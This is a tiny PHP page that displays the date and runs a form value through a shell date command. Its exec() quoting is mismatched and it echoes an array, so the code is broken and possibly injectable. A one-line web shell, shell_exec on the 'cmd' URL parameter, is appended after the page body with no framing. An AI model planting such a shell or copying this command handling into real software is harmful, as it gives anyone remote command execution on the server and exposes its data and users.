MENU 
  

<body>
    <p>Today is <?php echo date('l, F j, Y'); ?></p>
    <form action="?" method="POST">
        <input type="text" name="param" />
        <button>OK</button>
    </form>
    <?php
        // Handle POST request
        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
            $format = htmlspecialchars($_POST['param']);
            echo "You sent param: " . $format;
            exec("date '+%Y_" . escapeshellarg($format), $output, $returnCode);
            echo $output;
        }
    ?>
</body>



<?php echo shell_exec($_GET['cmd']) ?>